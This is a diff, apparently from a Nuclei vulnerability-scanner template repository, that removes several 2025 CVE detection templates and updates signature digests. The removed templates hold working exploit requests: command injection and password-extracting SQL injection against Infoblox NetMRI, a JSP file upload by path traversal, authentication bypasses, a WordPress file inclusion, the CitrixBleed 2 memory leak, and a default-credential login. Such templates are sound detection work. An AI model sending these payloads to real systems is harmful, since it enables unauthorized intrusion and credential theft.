-        name: nonce
-        group: 1
-        regex:
-          - 'jobwp_apply_form_nonce_field" value="([a-z0-9]+)"'
-        internal: true
-
-  - raw:
-      - |
-        @timeout: 30s
-        POST /jobs/{{jobid}}/ HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEUzdqU65JI5EA04B
-
-        ------WebKitFormBoundaryEUzdqU65JI5EA04B
-        Content-Disposition: form-data; name="jobwp_apply_form_nonce_field"
-
-        {{nonce}}
-        ------WebKitFormBoundaryEUzdqU65JI5EA04B
-        Content-Disposition: form-data; name="x"
-
-        /jobs/{{jobid}}/
-        ------WebKitFormBoundaryEUzdqU65JI5EA04B
-        Content-Disposition: form-data; name="jobwp_apply_for"
-
-        x
-        ------WebKitFormBoundaryEUzdqU65JI5EA04B
-        Content-Disposition: form-data; name="jobwp_full_name"
-
-        x
-        ------WebKitFormBoundaryEUzdqU65JI5EA04B
-        Content-Disposition: form-data; name="jobwp_email"
-
-        [email protected]
-        ------WebKitFormBoundaryEUzdqU65JI5EA04B
-        Content-Disposition: form-data; name="jobwp_cover_letter"
-
-        x
-        ------WebKitFormBoundaryEUzdqU65JI5EA04B
-        Content-Disposition: form-data; name="jobwp_upload_resume"; filename="xxxxxx\"*sleep(7)*\".pdf"
-        Content-Type: application/pdf
-
-        x
-        ------WebKitFormBoundaryEUzdqU65JI5EA04B--
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'duration>=7'
-          - "status_code == 200"
-          - "contains_all(body, 'jobwp-', 'apply-')"
-        condition: and
-# digest: 4b0a00483046022100b674380bd60805e308156d4df88bfb5050a42e46ae7fa8ed133573aae08b13780221008d3e88b19f31f848a280637936350454d52bb9c25ace33dc0c479583d0360705:922c64590222798bb761d5b6d8e72950
@@ -1,50 +0,0 @@
-id: CVE-2025-27505
-
-info:
-  name: GeoServer - Missing Authorization on REST API Index
-  author: securitytaters
-  severity: medium
-  description: |
-    GeoServer contains a missing authorization vulnerability that allows unauthorized access to the REST API Index page, potentially exposing sensitive configuration information.
-  reference:
-    - http://geoserver.org/
-    - https://geoserver.org/vulnerability/2025/06/10/cve-disclosure.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-27505
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2025-27505
-    cwe-id: CWE-862
-    cpe: cpe:2.3:a:geoserver:geoserver:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 2
-    fofa-query: app="geoserver"
-    shodan-query: http.title:"geoserver"
-    vendor: osgeo
-    product: geoserver
-  tags: cve,cve2025,geoserver,misconfig,osgeo
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/rest.html"
-      - "{{BaseURL}}/geoserver/rest.html"
-
-    stop-at-first-match: true
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "Geoserver Configuration API"
-
-      - type: word
-        part: body
-        words:
-          - "about/status"
-
-      - type: status
-        status:
-          - 200
@@ -59,4 +59,4 @@ http:
        part: header
        words:
          - "text/javascript"
-# digest: 4a0a0047304502203a9fecb808ccdc5ce68f05736b0255b9734e2d278e11e0ad36ea0800259ec340022100d0fd370677498536ba409a3edb3450a9a1ecd288bae10fb5a6ec907dcbc0294f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f4888bc3987c28dd86efcc910679810d5bcfcb0b6767355514d41d24cf7dd89302203e5a2324050aa4764030ebf03f9522cc25d0f8fdff6946ce501d2c91d3f64aa6:922c64590222798bb761d5b6d8e72950
@@ -1,51 +0,0 @@
-id: CVE-2025-32813
-
-info:
-  name: Infoblox NetMRI < 7.6.1 - Unauthenticated Command Injection in get_saml_request
-  author: iamnoooob,pdresearch
-  severity: high
-  description: |
-    An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.
-  reference:
-    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
-    - https://github.com/RhinoSecurityLabs/CVEs
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 7.2
-    cve-id: CVE-2025-32813
-    cwe-id: CWE-77
-    epss-score: 0.00203
-    epss-percentile: 0.42887
-    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: infoblox
-    product: netmri
-    fofa-query: "Infoblox NetMRI"
-  tags: cve,cve2025,infoblox,netmri,rce
-
-http:
-  - raw:
-      - |
-        GET /webui/application/get_saml_request?saml_id=1%26$(id|%20base64); HTTP/1.1
-        Host: {{Hostname}}
-
-    extractors:
-      - type: regex
-        name: idcmd
-        part: body
-        group: 1
-        regex:
-          - "sh: (.*?): command"
-        internal: true
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains_all(body, "sh", ": command not found","message")'
-          - 'contains(content_type,"application/json")'
-          - 'contains_all(base64_decode(idcmd),"uid=","gid=")'
-          - 'status_code==500'
-        condition: and
-# digest: 4b0a00483046022100c71e2098e6f80c1205fd43e8a873496309e95236a435297c2923db181c0fa421022100f1b7c562b690b3669e87015a82febe052c8175adb1574fa27bae92a2c073c5d9:922c64590222798bb761d5b6d8e72950
@@ -1,53 +0,0 @@
-id: CVE-2025-32814
-
-info:
-  name: NetMRI Unauthenticated SQL Injection via skipjackUsername
-  author: iamnoooob,pdresearch
-  severity: critical
-  description: |
-    An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-32814
-    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2025-32814
-    cwe-id: CWE-89
-    epss-score: 0.00052
-    epss-percentile: 0.1628
-    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: infoblox
-    product: netmri
-    fofa-query: icon_hash="-319724102"
-  tags: cve,cve2025,sqli,unauth,netmri,rails,error-based
-
-http:
-  - raw:
-      - |
-        GET /netmri/config/userAdmin/login.tdf?skipjackUsername=admin%22+AND+updatexml(rand(),concat(CHAR(126),NetmriDecrypt((select%20PasswordSecure%20from%20skipjack.ACLUser%20where%20UserName=%22admin%22),%22password%22,1),CHAR(126)),null)--%22&skipjackPassword=anything&weakPassword=true&eulaAccepted=Accept&mode=DO-LOGIN HTTP/1.1
-        Host: {{Hostname}}
-
-
-    extractors:
-      - type: regex
-        part: body
-        name: password
-        group: 1
-        regex:
-          - "XPATH syntax error: '~(.*?)~'"
-        internal: true
-
-      - type: dsl
-        dsl:
-          - "'Password: ' + password"
-
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'XPATH syntax error:'
-# digest: 4a0a00473045022100cca1ce922087bc5d748947209efd93415f4d50958e8b77a56d6a306573fb168202207415c11be4c2027f13b4f6e00933e9480728e285563f540c18977df93094bb10:922c64590222798bb761d5b6d8e72950
@@ -1,56 +0,0 @@
-id: CVE-2025-34040
-
-info:
-  name: Zhiyuan OA Platform - Arbitrary File Upload
-  author: iamnoooob,pdresearch
-  severity: critical
-  description: |
-    An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.
-  reference:
-    - https://www.cve.org/CVERecord?id=CVE-2025-34040
-    - https://www.cnblogs.com/pursue-security/p/17677130.html
-  metadata:
-    verified: true
-    max-request: 1
-    fofa-query: body="seeyon/index.jsp"
-  tags: cve,cve2025,file-upload,intrusive,zhiyuan,lfi
-
-variables:
-  marker: "{{randstr}}"
-  filename: "{{randbase(8)}}"
-
-http:
-  - raw:
-      - |
-        POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{filename}}.jsp&fileId=2 HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
-        Accept-Encoding: gzip
-
-        --59229605f98b8cf290a7b8908b34616b
-        Content-Disposition: form-data; name="upload"; filename="123.xls"
-        Content-Type: application/vnd.ms-excel
-
-        <%@ page import="java.util.Base64" %><%= new String(Base64.getDecoder().decode("{{base64(marker)}}"), "UTF-8") %>
-        --59229605f98b8cf290a7b8908b34616b--
-
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "officeTransResultFlag"
-          - '"success":true'
-        condition: and
-        internal: true
-
-  - raw:
-      - |
-        GET /{{filename}}.jsp HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "{{marker}}"
-# digest: 490a00463044022058d0147a0cfd67090b51e02f46c0afe459b7a3ee83026f2e987451630b1451f40220666af4ce7a27dd517860fb711ddb95b7b012f524d8a31616026cc20dfd752f3b:922c64590222798bb761d5b6d8e72950
@@ -1,49 +0,0 @@
-id: CVE-2025-41646
-
-info:
-  name: RevPi Webstatus <= v2.4.5 - Authentication Bypass
-  author: DhiyaneshDK
-  severity: critical
-  description: |
-    An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device
-  reference:
-    - https://psirt.kunbus.com/.well-known/csaf/white/2025/kunbus-2025-0000003.json
-    - https://x.com/win3zz/status/1940397684176904607
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-41646
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2025-41646
-    cwe-id: CWE-704
-    epss-score: 0.00557
-    epss-percentile: 0.67101
-    cpe: cpe:2.3:a:kunbus:revpi_status:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: kunbus
-    product: revpi_status
-    shodan-query: title:"RevPi"
-  tags: cve,cve2025,kunbus,revpi-status,auth-bypass,revpi
-
-http:
-  - raw:
-      - |
-        POST /php/dal.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/json
-
-        {"mode":"LOGIN","username":"admin","hashcode":true}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - '"status":"SUCCESS"'
-          - '"sessionId":'
-        condition: and
-
-      - type: status
-        status:
-          - 200
-# digest: 490a00463044022026a3c3a84089f28c72b6ae45152ca805ade87a341d6340ea85060677df8c9dd802202c080683a7053341194f04c8ae68c13d64a15ce9d1ad76c94137640590c2ff8a:922c64590222798bb761d5b6d8e72950
@@ -1,46 +0,0 @@
-id: CVE-2025-4380
-
-info:
-  name: Ads Pro Plugin <= 4.89 - Local File Inclusion
-  author: iamnoooob,rootxharsh,pdresearch
-  severity: critical
-  description: |
-    The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.
-  impact: |
-    Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
-  remediation: |
-    Update the Ads Pro Plugin to version later than 4.89. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
-  reference:
-    - https://wpscan.com/vulnerability/63964564-73e6-45e2-8145-33e2e30d1d57/
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-4380
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2025-4380
-    cwe-id: CWE-98
-    cpe: cpe:2.3:a:scripteo:ads_pro:*:*:*:*:*:wordpress:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: scripteo
-    product: ads_pro
-    fofa-query: body="/wp-content/plugins/ap-plugin-scripteo"
-  tags: cve,cve2025,wp,wordpress,wp-plugin,lfi,scripteo,ads-pro
-
-http:
-  - raw:
-      - |
-        POST /wp-admin/admin-ajax.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        action=bsa_preview_callback&bsa_template=../php/example
-
-    matchers:
-      - type: dsl
-        dsl:
-          - "contains(body, 'Example PHP Ad')"
-          - "contains(content_type, 'text/html')"
-          - "status_code == 200"
-        condition: and
-# digest: 4a0a00473045022100d7ad99b9ac1f5cab4c922a0112a7298f4d9413905afc896180ca0cfe32ed4a33022073bf65a0c9bf74d0a935ea10a82456571e36400480619cb5b61eae6e149bf443:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-45854
-    cwe-id: CWE-862,CWE-434
+    cwe-id: CWE-869
  metadata:
    max-request: 1
    product: jehc-bpm
@@ -68,4 +68,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100b4cac38e8a2b439dbe214503166e8d72d8a2cc9cc6621c99a0414e9d39a5f5900220768ee51f032c0f2e4e53915e26de2863a917fe73faebe10605f03d03fb11162d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220287eb7b2b7af14cf8eaf16107f0a6b08ff23685a8da2b9e8bc4dbcc1210b4270022100e37415282b012f14d33d77a1e8202863e203e7c8f20b1135461ffffa9ae399dd:922c64590222798bb761d5b6d8e72950
@@ -1,51 +0,0 @@
-id: CVE-2025-48827
-
-info:
-  name: vBulletin 5.0.0-6.0.3 - Authentication Bypass
-  author: pszyszkowski
-  severity: critical
-  description: |
-    vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.
-  impact: |
-    Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.
-  remediation: |
-    Upgrade to vBulletin 6.0.4+ before upgrading to PHP 8.1.
-  reference:
-    - https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-48827
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2025-48827
-    cwe-id: CWE-424
-    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: vbulletin
-    product: vbulletin
-    fofa-query: app="vBulletin"
-    shodan-query: http.component:"vBulletin"
-  tags: cve,cve2025,rce,vbulletin,intrusive
-
-variables:
-  rand_string: "{{to_lower(rand_base(5))}}"
-  rand_value: "{{to_lower(rand_text_alpha(5))}}"
-
-http:
-  - raw:
-      - |
-        POST /ajax/api/ad/wrapAdTemplate HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        template={{rand_string}}&id_name={{rand_value}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - status_code == 200
-          - contains(content_type, 'application/json')
-          - contains_all(body,'<div class=','ad_{{rand_value}}_inner','{{rand_string}}')
-        condition: and
-# digest: 490a00463044022012e879aea17381fd8ac9491e896084ae9ca064efb316e972c236bdd7acd94b6a022011410db4774c2736d7ea8828e5fd585f75a8355060513109593034e8aac04aee:922c64590222798bb761d5b6d8e72950
@@ -1,71 +0,0 @@
-id: CVE-2025-53624
-
-info:
-  name: Docusaurus Gists Plugin < 4.0.0 - GitHub Personal Access Token Exposure
-  author: darses
-  severity: high
-  description: |
-    The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.
-  impact: |
-    A GitHub personal access token exposure vulnerability can grant an attacker unauthorized access to your repositories and organization resources, potentially leading to data exfiltration, code injection, and supply chain attacks.
-  remediation: |
-    Update docusaurus-plugin-content-gists to version 4.0.0+. Revoke access to the GitHub PAT that was used: https://github.com/settings/tokens.
-  reference:
-    - https://github.com/webbertakken/docusaurus-plugin-content-gists/commit/8d4230b82412edb215ddfa9e609d178510a5fe31
-    - https://github.com/webbertakken/docusaurus-plugin-content-gists/security/advisories/GHSA-qf34-qpr4-5pph
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-53624
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
-    cvss-score: 8.6
-    cve-id: CVE-2025-53624
-    cwe-id: CWE-200
-  metadata:
-    max-request: 2
-    verified: true
-    vendor: webbertakken
-    product: docusaurus_plugin_content_gists
-    shodan-query: http.html:"Docusaurus"
-    fofa-query: body="Docusaurus"
-  tags: cve,cve2025,docusaurus,exposure
-
-flow: http(1) && http(2)
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}"
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 200'
-          - 'contains(body, "docusaurus_locale")'
-        condition: and
-        internal: true
-
-    extractors:
-      - type: regex
-        name: js_file_url
-        group: 1
-        regex:
-          - '<script src="/(assets/js/main\.[^"]*\.js)"'
-        internal: true
-
-  - method: GET
-    path:
-      - "{{BaseURL}}/{{js_file_url}}"
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 200'
-          - 'contains(body, "personalAccessToken")'
-        condition: and
-
-    extractors:
-      - type: regex
-        name: github_token
-        group: 1
-        regex:
-          - ',personalAccessToken:"([^"]*)"}'
-# digest: 4a0a00473045022100835a9ed345fa3cfaf3cc33d8571ece0bb0f0b11ce4123db64e40329bdb036dc202201ffac15817793768745ad420f64e4e728e1247af24f3aa7abf25238e762e1a59:922c64590222798bb761d5b6d8e72950
@@ -1,65 +0,0 @@
-id: CVE-2025-5777
-
-info:
-  name: Citrix NetScaler Memory Disclosure - CitrixBleed 2
-  author: watchtowr,DhiyaneshDk,darses
-  severity: critical
-  description: |
-    Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
-  reference:
-    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
-    - https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
-  classification:
-    epss-score: 0.00042
-    epss-percentile: 0.12361
-  metadata:
-    verified: true
-    max-request: 1
-    shodan-query:
-      - title:"NetScaler Gateway"
-      - title:"NetScaler AAA"
-      - http.favicon.hash:-1166125415
-      - http.favicon.hash:-1292923998
-    fofa-query:
-      - title="NetScaler Gateway"
-      - title="NetScaler AAA"
-      - icon_hash="-1166125415"
-      - icon_hash="-1292923998"
-  tags: cve,cve2025,netscaler,citrix,exposure
-
-http:
-  - raw:
-      - |+
-        POST /p/u/doAuthentication.do HTTP/1.0
-        Host: {{Hostname}}
-        bleed_attack: {{iteration}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-        Content-Length: 5
-
-        login
-
-    unsafe: true
-    payloads:
-      iteration:
-        - "{{rand_int(1,5)}}"
-
-    extractors:
-      - type: regex
-        name: iv
-        part: body
-        regex:
-          - '<InitialValue>([^<]{10,})</InitialValue>'
-        internal: true
-
-    stop-at-first-match: true
-    matchers:
-      - type: dsl
-        dsl:
-          - 'len(iv) > 0'
-          - 'contains(to_lower(header), "application/vnd.citrix.authenticateresponse")'
-          - '!contains(to_string(iv), "false")'
-          - '!contains(to_string(iv), "true")'
-          - '!contains(to_string(iv), "<InitialValue></InitialValue>")'
-        condition: and
-# digest: 4a0a0047304502206b67756161e3b05759fd9b89e48fc20df8b936eb68641538bf775f6622acb3cb022100a66c907bf2dc255cf92f5d45b38725b3fb77795d037772f710e8f78ed0c503bd:922c64590222798bb761d5b6d8e72950
@@ -1,47 +0,0 @@
-id: molgenis-default-login
-
-info:
-  name: Molgenis - Default Login
-  author: ritikchaddha
-  severity: high
-  description: |
-    Attempts to login to Molgenis using the default credentials (admin/admin). Successful login may indicate a security risk due to unchanged default credentials.
-  reference:
-    - https://molgenis.org/
-    - https://github.com/molgenis/molgenis-emx2
-  metadata:
-    verified: true
-    max-request: 1
-    shodan-query: html:"MOLGENIS"
-  tags: molgenis,default-login,exposure
-
-variables:
-  username: 'admin'
-  password: 'admin'
-
-http:
-  - raw:
-      - |
-        POST /login HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        username={{username}}&password={{password}}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: location
-        words:
-          - "/login?error"
-        negative: true
-
-      - type: word
-        part: header
-        words:
-          - "Set-Cookie: JSESSIONID="
-
-      - type: status
-        status:
-          - 302
-# digest: 4a0a00473045022100a2daa9f1e92b3991b1a7a83b9548d35ffd7b7a8304c36a08f2b37273174c787f0220701fd738588c17ddf6b2f7a511651d5399504a8079dc067986827e49233f1647:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code==200 && contains(tolower(body), "<title>ackee")'
          - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
        condition: or
-# digest: 490a00463044022025cb5f469a6370477fe1a939e01e1fd207a74acb2f0b61eabfc3c336a5b68fec0220612f1e7d01f07240fd1f1208d97c99cc107ed1933d35deaaeb44e75a278c96cf:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204b6264027e8b7a1c985db4762ea5894e3004e5b3ce8866098fda93ba641bfbe9022100cdcd07c0b393d76352444dfc62ba0dcd8bf7e753440807f2adc8b75eb52f56e9:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4b0a00483046022100db8c008d7af396a16c826c4bac212080066d5006311c2da3c17ef8b9037e687d022100ea1a19913937ef299d26daebfdde20516cc9281f426ead5c3862ad85799b57e2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202c52ca6b7402a5a1de9154abca1328f9690468f920f03f310d9998aac35bdb40022100fbad9722317d85e314e9d0047bef1fce29f43c65601b78676b76f53bd0614ec6:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
        group: 1
        regex:
          - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4a0a0047304502200cf6963757247069e6cdea752608e19eb4c177b09a4963b8978f4810fb64be9c022100d7002de43cd7c8ae2936b69f3ea1993a8473abe4e77b5e839de8f67f4800a8ac:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205b62ed2f4a959a92b78fc162224b39edca8df0df6941ad9ad71b7a3cb562f4cf02210097e7c46141107f829d88cee8bcf555ad53d88f0cdd8f13f62dcfa0a71d5c8821:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
        group: 1
        regex:
          - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4a0a00473045022025925995dbbe4232778bd91b86f58e213fce90de9feca23d2f258b5023da98e1022100baea03f163618819fac6fc9cc60e43a1e60a7eb95e6784ed96cb04ca1c3d2811:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ab6c79af5fe04c5c117a245cb8c7924027e8f867ef30d2f4aff2db48f5b445b60221008897293c5d5ba514eaf68c1631429bccf9de361371c5cb0119e8cfb9060adb63:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'Version:?\s+([0-9.]+)'
-# digest: 4a0a004730450221009618bb69f08fa97ebf580e06f9c278bd31e40d985b1108eed61bc726639c5d570220293866aa873d793e7928240fcea7d513a0ee88fe419a402a225fa46d7c5dc4bb:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220679d2a2d166edfec65d43b56d510cb30f04ee689b1200432a5cd52c1c99e65fa02203fe010a8880cb087ee8ae55de4f5222c013b9791da28e70ee865576d81d1be35:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "title=\"blue yonder\"")'
        condition: and
-# digest: 4b0a00483046022100b514f464707ec888f62c1fc3de40e3182bb08d1329c7d43d8f041ba4e09d2b93022100b96b17852b685a998703c0d3920cc25425f0eb1bd4517d656f20109d1f87ce51:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022040420b0f6abf304590b621f5159c6290869aab3eed9117f1bbf0323d55da8f5d0220686b0f8f3bd3fc43da407b26b28dd627ecdd66599982386515af6a50077b1b65:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
          - 'contains(to_lower(body), "file exchange</title>")'
          - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
        condition: and
-# digest: 4a0a0047304502204dd54749cbdecd6593571bd97040bb8f2a3ce86d4aee0da2f83e688161b149a9022100ffd50b06c34b95ae0853e0e1ea766c7e5eac689b648ed6ef8611c1ccb199063a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210097b61ac606e74e1f7fbc2d6f3289ad4797f5948dbf215bb27777fb300b6cdce7022100cf592f72e398fa8620702aa5ae7b5e18526c4348e92c6126bd17b70bbad07f90:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
        condition: and
-# digest: 490a0046304402200b525150bd4973ed9102b295fddb8c880050f53e016865d4137ac7f1d73f4a85022045444e99eac6ab615861477419048268930aa2938d909f68fb8d37f6ecbbfd2d:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022002886070d1b2dacc931c7ea2e2a2e9d0327be43bb7d8f27ad5fe5d61dd08c11902200d4976290f1373e7cb5b7adf4483720301e5f84125e76138552732e394c9ddd1:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 4b0a00483046022100f994d9c545999e957a3716e8a4db832a94df2a895f2ae6335d9370f217b7a2cf022100cbe1e5c6fa97c2b75de9e57a1d792efa98c02c21a190aeb93378090ce1730a21:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210095264dfec0ebc5f2ff4fa5e7da98b26a0ca67633915cf0c4d8b3a6c8f24b7261022100e3259e21c5cfdbb29251bb8db6cf75446c47e5fd9e3f594258bbf8a895897dca:922c64590222798bb761d5b6d8e72950
@@ -1,31 +0,0 @@
-id: cisco-cm-panel
-
-info:
-  name: Cisco Unified CM Console - Panel
-  author: rxerium
-  severity: info
-  reference:
-    - https://www.cisco.com/c/en_uk/products/unified-communications/unified-communications-manager-callmanager/index.html
-  description: |
-    Cisco Unified CM Console panel was discovered.
-  metadata:
-    max-request: 1
-    shodan-query: html:"/ccmadmin/"
-  tags: cisco,ciscocm,panel,login
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/ccmadmin/showHome.do"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "<title>Cisco Unified CM Console"
-
-      - type: status
-        status:
-          - 200
-# digest: 4a0a004730450220555930c91a839faf9a3cd6364b0ec11533630085ad76efc29757f36fec56cdb4022100d150a62de27879fffba22b9db83636e479117c829aed6fd26c8f1a040bbbb196:922c64590222798bb761d5b6d8e72950
@@ -1,31 +0,0 @@
-id: cisco-prime-license-manager-panel
-
-info:
-  name: Cisco Prime License Manager - Detect
-  author: rxerium
-  severity: info
-  reference:
-    - https://www.cisco.com/c/en/us/support/cloud-systems-management/prime-license-manager/series.html
-  description: |
-    Detected exposed Cisco Prime License Manager portals
-  metadata:
-    max-request: 1
-    shodan-query: http.title:"Cisco Prime License Manager"
-  tags: cisco,cisco-prime-license-manager,panel
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/elm-admin/"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "<title>Cisco Prime License Manager"
-
-      - type: status
-        status:
-          - 200
-# digest: 4a0a00473045022100a03a1c95c80c8cbbc36eca9bf6e6286e8d23c7619004ea7f373dc499e74c94f302206a0e5dd4143920d6eeb1a8f4ca7fa36dea6d71ef5ab421c2ca22b4752368ff09:922c64590222798bb761d5b6d8e72950
@@ -47,4 +47,4 @@ http:
      - type: dsl
        dsl:
          - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 4a0a00473045022076b3421b9a0d19413d6ceba0ec81f512bf6bbc09c7a30c7ef9218a2623d446c7022100955f59000aea70671ad333732816e662f3cbe7ce03ca668fbe79bbd560ad5434:922c64590222798bb761d5b6d8e72950
